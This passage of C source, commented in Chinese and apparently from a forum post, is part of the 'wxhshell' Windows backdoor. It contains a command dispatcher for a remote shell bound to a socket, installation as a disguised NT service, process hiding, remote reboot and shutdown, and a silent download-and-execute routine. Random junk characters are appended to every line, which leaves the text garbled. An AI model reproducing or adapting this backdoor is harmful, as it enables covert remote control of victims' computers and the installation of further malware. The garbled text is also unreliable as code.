  // 帮助 K2GcU_*t  
  case '?': { ^BFD -p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0fTEb%z8  
    break;  !bi}9w  
  } 9k@`{+wmZ  
  // 安装 X519} l3  
  case 'i': { cOr@dUSL  
    if(Install()) SAEV "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 32sb$|eQq  
    else KVrK:W--p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mTW@E#)n  
    break; Kc:} Ky  
    } %g>{m2o  
  // 卸载 PNbs7f  
  case 'r': { f1RfNiW.  
    if(Uninstall()) !B3lsXLSY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hoQ?8}r:  
    else #`0iN+qh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fii\&p7z  
    break;  Dy[ YL  
    } F^]?'`7md  
  // 显示 wxhshell 所在路径 cs%NsnZ  
  case 'p': { '0xJp|[xVP  
    char svExeFile[MAX_PATH]; (Q$]X5L  
    strcpy(svExeFile,"\n\r"); !r8Jo{(pb  
      strcat(svExeFile,ExeFile); KrFV4J[  
        send(wsh,svExeFile,strlen(svExeFile),0); A<&:-Zz  
    break; D?w-uR%Y  
    } drQioH-  
  // 重启 V!S B9t`E  
  case 'b': { (1vmtg.O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CKTD27})  
    if(Boot(REBOOT)) X; gN[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'v%bL;H~  
    else { ):_x  
    closesocket(wsh); d%istFL)  
    ExitThread(0); Z0~}'K   
    } @Yq!  
    break; ,K'}<dm|x  
    } Lu~e^Ul   
  // 关机 GZN@MK*co  
  case 'd': { +"] 'h~W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8elT/Wl  
    if(Boot(SHUTDOWN)) iK"j@1|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `f^`i~c\  
    else { Ccocv>=Q&J  
    closesocket(wsh); sv^; nOAc  
    ExitThread(0); mP)<;gm,  
    } pr-{/6j6  
    break; QsmG(1=  
    } L#e|t0'#  
  // 获取shell o4kNDXP#S  
  case 's': { m,u? ^W  
    CmdShell(wsh); / N@0qQ  
    closesocket(wsh); pg~`NN  
    ExitThread(0); } V4"-;P  
    break;  *ihg'  
  } w?AE8n$8  
  // 退出 n#N<zC/  
  case 'x': { ;e0>.7m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +{/zP{jH  
    CloseIt(wsh); r,6~?hG]  
    break; K@{jY\AZNx  
    } T T0O %  
  // 离开 p;n)YY$  
  case 'q': { uF T\a=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $ZDh8 *ND  
    closesocket(wsh); ,>(M5\Z/c  
    WSACleanup(); H[x9 7r  
    exit(1); T^GdN_qF  
    break; 4(JxZ49  
        } .)Se-'  
  } r _r$nl  
  } q9Y0Lk  
U hCd,  
  // 提示信息 E"Xi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xiRTp:>  
} =]E1T8|  
  } 4PUM.%  
AmSJ!mTd8o  
  return; 'q*1HNwGp  
} vS<;:3  
q0y?$XS  
// shell模块句柄 /KKX;L[D(  
int CmdShell(SOCKET sock) v *:m|wl  
{ A|>a Gy  
STARTUPINFO si; wCvD4C.WH  
ZeroMemory(&si,sizeof(si)); t9pPG{1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zMrZ[AU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zt` ,DM  
PROCESS_INFORMATION ProcessInfo; xs &vgel>  
char cmdline[]="cmd"; ,75,~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l!iB -?'u  
  return 0; dl{3fldb  
} L761m7J]B  
lQ+-g#`  
// 自身启动模式 >5 5/@+^  
int StartFromService(void) Q)a*bPz  
{ *rEW@06^\  
typedef struct iCx'`^HnP  
{ Q}2w~Cn\S  
  DWORD ExitStatus; vJq`l3&  
  DWORD PebBaseAddress; T  |j^  
  DWORD AffinityMask; >8NQ8i=]V1  
  DWORD BasePriority; 5. l&nt'  
  ULONG UniqueProcessId; q>omCk%h  
  ULONG InheritedFromUniqueProcessId; |J}~a8o  
}   PROCESS_BASIC_INFORMATION; #3CA  
hV8A<VT  
PROCNTQSIP NtQueryInformationProcess; Pq4sv`q)S  
SyYa_=En  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ve7Is`/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \W@?revK  
FyS K&  
  HANDLE             hProcess; <b Ta88,)  
  PROCESS_BASIC_INFORMATION pbi; Vr0RdO  
rWvJ{-%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b`:Eo+p   
  if(NULL == hInst ) return 0; L7xTAFe  
x`eYCi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o`sn/x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d7G'+B1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rz.`$b  
N]=.I   
  if (!NtQueryInformationProcess) return 0; , zw  
0^[$0]Mt[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fg1 zT~  
  if(!hProcess) return 0; =q"3a9 pb7  
Ahebr{u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X>wQYIi  
ss2:8up 99  
  CloseHandle(hProcess); 6% ,Q  
9SFiL#1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Bo Jt-v  
if(hProcess==NULL) return 0; o4Ba l^=[  
$Y4 Ao-@  
HMODULE hMod; TMRXl.1  
char procName[255]; G![1+2p:Tq  
unsigned long cbNeeded; \m.{^Xd~  
0bd.ess  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $i`YtV  
kdo)y(fn@  
  CloseHandle(hProcess); FVpe*]  
 3sw1y  
if(strstr(procName,"services")) return 1; // 以服务启动 ~|!lC}!IKL  
eeX>SL5'i  
  return 0; // 注册表启动 0!zWXKX  
} 2Vi[qS^  
Z3/zUtgs  
// 主模块 O ,;SA  
int StartWxhshell(LPSTR lpCmdLine) M>^IQ  
{ ;}PL/L$L6;  
  SOCKET wsl; N,1wfOE  
BOOL val=TRUE; TUUBC%  
  int port=0; 3whyIXs  
  struct sockaddr_in door; #QB`'2)vw  
Ar$LA"vu4  
  if(wscfg.ws_autoins) Install(); P"#^i<ut@T  
Av[jFk  
port=atoi(lpCmdLine); }l2JXf55  
':[y]ep(~|  
if(port<=0) port=wscfg.ws_port; ](ninSX1w  
k{#:O=  
  WSADATA data; bC{~/ JP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?:2Xh/8-  
u J$"2<O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SW=p5@Hy{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z(=:J_N  
  door.sin_family = AF_INET; XU54skN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 93rE5eGs  
  door.sin_port = htons(port); 8;5/_BwMu  
{F4:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !`WuLhB`  
closesocket(wsl); $ S49v  
return 1; =sm(Z ;"  
} Nf~<xK  
-Z@ p   
  if(listen(wsl,2) == INVALID_SOCKET) { O| 2Q- @D  
closesocket(wsl); _Dv^~e1c  
return 1; ppYz~ {"r  
} 83 n: h08  
  Wxhshell(wsl); N$+"zJmw&  
  WSACleanup(); 0Nfj}sXCWE  
A4^+p0@  
return 0; 68SM br  
`l}-S |a  
} L9.#/%I\  
C+mU_g>  
// 以NT服务方式启动 f0F$*"#G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F, "x~C  
{ DjKjEZHgM  
DWORD   status = 0; eOb`uyi  
  DWORD   specificError = 0xfffffff; s6$3[9Vh&9  
Y:a(y*y<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oK>,MdB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t&xx-4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C/ bttd  
  serviceStatus.dwWin32ExitCode     = 0; P8jK yo  
  serviceStatus.dwServiceSpecificExitCode = 0; fin15k  
  serviceStatus.dwCheckPoint       = 0; x\%eg w  
  serviceStatus.dwWaitHint       = 0; xv:?n^yt.[  
jBC9Vt;B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A>?fbY2n  
  if (hServiceStatusHandle==0) return; oxzNV&D[{`  
bm4W,  
status = GetLastError(); 1mX*0>  
  if (status!=NO_ERROR) 1 W0;YcT]  
{ 2 zy^(%a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :QVGY^c  
    serviceStatus.dwCheckPoint       = 0; Y!L jy [/  
    serviceStatus.dwWaitHint       = 0; ? Z=v&d[o)  
    serviceStatus.dwWin32ExitCode     = status; )~/U+,  
    serviceStatus.dwServiceSpecificExitCode = specificError; VPHCPGrk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -: ,h8JyMP  
    return; r>Ln*R,9D  
  } 8syo_sC |  
@K9T )p]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; No7Q,p  
  serviceStatus.dwCheckPoint       = 0; +6=!ve}  
  serviceStatus.dwWaitHint       = 0; I?K0bs+6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cGp^;> ]M  
}  q0~_D8e,  
p{rS -`I  
// 处理NT服务事件,比如:启动、停止 xeI{i{8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2]+.8G7D%  
{ -)oBh  
switch(fdwControl) a5-\=0L~  
{ '!R,)5l0h  
case SERVICE_CONTROL_STOP: T?Y\~.+99  
  serviceStatus.dwWin32ExitCode = 0; _#C}hwOR>X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xo`1#6xsE  
  serviceStatus.dwCheckPoint   = 0; IfcFlXmt2  
  serviceStatus.dwWaitHint     = 0; yShHFlO=  
  { 0REWbcxd"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sYXS#;|M  
  } e@OA>  
  return; lQ/XJw  
case SERVICE_CONTROL_PAUSE: `y}d)"!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kgz{m;R  
  break; G)&'8W F5o  
case SERVICE_CONTROL_CONTINUE: qx)k1QY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o(P:f)B  
  break; RY{tX`  
case SERVICE_CONTROL_INTERROGATE: g1~I*!p  
  break; hptuTBD  
}; j;)6uia*A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qedGBl&  
} MbfzGYA2~  
eEQ[^i  
// 标准应用程序主函数 "|%9xGX|D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WM"^#=+$  
{ Q$1K{14I  
Nd!VR+IZ  
// 获取操作系统版本 0Mg8{  
OsIsNt=GetOsVer(); F :S,{&jB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W[Bu&?h$  
7g)3\C   
  // 从命令行安装 @@wx~|%  
  if(strpbrk(lpCmdLine,"iI")) Install(); QCR-lxO1  
+,Az\aT/%  
  // 下载执行文件 |xVCl<{F%  
if(wscfg.ws_downexe) { 86#mmm)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  2JP?6N  
  WinExec(wscfg.ws_filenam,SW_HIDE); KeB4Pae|V  
} _m],(J=,z  
)\-";?sYky  
if(!OsIsNt) { (L$~ zw5gr  
// 如果时win9x,隐藏进程并且设置为注册表启动 |8 bO5l:  
HideProc(); {ah=i8$  
StartWxhshell(lpCmdLine); {yR)}r  
} Wq(l :W'  
else R`2A-c  
  if(StartFromService()) L]d@D0.Z  
  // 以服务方式启动 N;'HR)  
  StartServiceCtrlDispatcher(DispatchTable); s.`d<(X?  
else gE&W6z0fJ  
  // 普通方式启动 G%!\ p:w  
  StartWxhshell(lpCmdLine); 6#M0AG  
%i8>w:@NW  
return 0; IY6_JGe_w  
}
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只看该作者 1 发表于: 2006-10-10
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